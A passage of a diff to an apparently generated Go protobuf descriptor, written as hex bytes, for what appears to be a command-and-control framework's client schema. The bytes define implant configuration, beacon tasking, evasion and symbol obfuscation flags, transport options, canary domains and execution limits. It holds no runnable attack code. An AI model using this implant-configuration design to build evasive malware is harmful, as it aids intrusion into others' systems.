0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, + 0x74, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x6e, 0x74, 0x41, + 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x53, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x12, + 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, + 0x74, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x07, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, + 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, + 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6d, 0x64, + 0x4c, 0x69, 0x6e, 0x65, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x43, 0x6d, 0x64, 0x4c, + 0x69, 0x6e, 0x65, 0x22, 0x55, 0x0a, 0x0b, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, + 0x6b, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x2a, + 0x0a, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, + 0x61, 0x73, 0x6b, 0x52, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x22, 0x63, 0x0a, 0x09, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x69, 0x6f, 0x72, + 0x69, 0x74, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x50, 0x72, 0x69, 0x6f, 0x72, + 0x69, 0x74, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x55, 0x52, 0x4c, 0x12, 0x18, 0x0a, 0x07, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, + 0x97, 0x0d, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, + 0x44, 0x12, 0x3c, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, + 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, + 0x52, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, + 0x2a, 0x0a, 0x10, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, + 0x65, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x49, + 0x73, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x49, + 0x73, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f, + 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, + 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, + 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, + 0x06, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x4a, 0x69, 0x74, + 0x74, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x07, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, + 0x48, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, + 0x14, 0x0a, 0x05, 0x44, 0x65, 0x62, 0x75, 0x67, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, + 0x44, 0x65, 0x62, 0x75, 0x67, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, + 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12, + 0x2a, 0x0a, 0x10, 0x4f, 0x62, 0x66, 0x75, 0x73, 0x63, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, + 0x6f, 0x6c, 0x73, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, 0x4f, 0x62, 0x66, 0x75, 0x73, + 0x63, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, 0x6f, 0x6c, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x54, + 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0c, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, + 0x1e, 0x0a, 0x0a, 0x53, 0x47, 0x4e, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x0e, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, 0x47, 0x4e, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, + 0x20, 0x0a, 0x0b, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x18, 0x35, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x4d, 0x54, 0x4c, + 0x53, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x48, 0x54, 0x54, 0x50, + 0x18, 0x10, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x48, + 0x54, 0x54, 0x50, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x57, 0x47, + 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x57, + 0x47, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x44, 0x4e, 0x53, 0x18, + 0x12, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x44, 0x4e, + 0x53, 0x12, 0x28, 0x0a, 0x0f, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x4e, 0x61, 0x6d, 0x65, + 0x50, 0x69, 0x70, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x49, 0x6e, 0x63, 0x6c, + 0x75, 0x64, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x50, 0x69, 0x70, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x49, + 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x43, 0x50, 0x18, 0x14, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0a, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x43, 0x50, 0x12, 0x20, 0x0a, 0x0b, 0x57, + 0x47, 0x50, 0x65, 0x65, 0x72, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x18, 0x20, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0b, 0x57, 0x47, 0x50, 0x65, 0x65, 0x72, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x12, 0x2c, 0x0a, + 0x11, 0x57, 0x47, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x6f, + 0x72, 0x74, 0x18, 0x21, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x57, 0x47, 0x4b, 0x65, 0x79, 0x45, + 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x57, + 0x47, 0x54, 0x63, 0x70, 0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x22, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x0e, 0x57, 0x47, 0x54, 0x63, 0x70, 0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x50, + 0x6f, 0x72, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, + 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x28, 0x20, 0x01, 0x28, 0x03, 0x52, 0x11, + 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, + 0x6c, 0x12, 0x30, 0x0a, 0x13, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x73, 0x18, 0x29, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, + 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x45, 0x72, 0x72, + 0x6f, 0x72, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, + 0x75, 0x74, 0x18, 0x2a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, + 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x43, 0x32, 0x18, 0x32, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x52, 0x02, 0x43, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x43, 0x61, + 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x33, 0x20, 0x03, 0x28, + 0x09, 0x52, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, + 0x12, 0x2e, 0x0a, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, + 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, 0x18, 0x34, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x43, 0x6f, + 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, + 0x12, 0x2c, 0x0a, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, + 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x18, 0x3c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x4c, 0x69, 0x6d, + 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x12, 0x24, + 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x61, 0x74, 0x65, 0x74, 0x69, 0x6d, 0x65, 0x18, + 0x3d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x61, 0x74, 0x65, + 0x74, 0x69, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x48, 0x6f, 0x73, + 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, + 0x69, 0x74, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, + 0x6d, 0x69, 0x74, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x3f, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, + 0x12, 0x28, 0x0a, 0x0f, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x69, + 0x73, 0x74, 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x4c, 0x69, 0x6d, 0x69, 0x74, + 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x4c, 0x69, + 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x41, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0b, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x2e, 0x0a, 0x06, + 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x64, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, - 0x72, 0x6d, 0x61, 0x74, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x22, 0x85, 0x01, 0x0a, - 0x0d, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x1e, - 0x0a, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x22, - 0x0a, 0x0c, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x41, 0x52, - 0x43, 0x48, 0x12, 0x16, 0x0a, 0x06, 0x43, 0x43, 0x50, 0x61, 0x74, 0x68, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x06, 0x43, 0x43, 0x50, 0x61, 0x74, 0x68, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x58, - 0x58, 0x50, 0x61, 0x74, 0x68, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x43, 0x58, 0x58, - 0x50, 0x61, 0x74, 0x68, 0x22, 0xf5, 0x01, 0x0a, 0x08, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, - 0x72, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x32, 0x0a, - 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, - 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, - 0x73, 0x12, 0x3f, 0x0a, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, - 0x65, 0x72, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, - 0x65, 0x72, 0x52, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, - 0x72, 0x73, 0x12, 0x48, 0x0a, 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72, 0x74, 0x65, - 0x64, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, - 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, 0x70, - 0x6f, 0x72, 0x74, 0x65, 0x64, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x22, 0x1f, 0x0a, 0x09, - 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xd7, 0x01, - 0x0a, 0x09, 0x44, 0x4e, 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x49, - 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x49, - 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, - 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, - 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, - 0x65, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, - 0x72, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, - 0x67, 0x65, 0x72, 0x65, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x46, 0x69, 0x72, - 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, - 0x61, 0x74, 0x65, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x61, 0x74, 0x65, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, - 0x72, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x3b, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, - 0x69, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, - 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x44, 0x4e, 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x52, 0x08, 0x43, 0x61, 0x6e, 0x61, - 0x72, 0x69, 0x65, 0x73, 0x22, 0x1c, 0x0a, 0x0a, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x57, 0x47, - 0x49, 0x50, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x50, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, - 0x49, 0x50, 0x22, 0x65, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, - 0x66, 0x69, 0x6c, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, - 0x69, 0x67, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0x47, 0x0a, 0x0f, 0x49, 0x6d, 0x70, - 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x34, 0x0a, 0x08, - 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, - 0x65, 0x73, 0x22, 0x31, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, - 0x52, 0x65, 0x71, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, - 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, - 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, - 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, - 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x06, - 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x20, 0x0a, - 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x07, 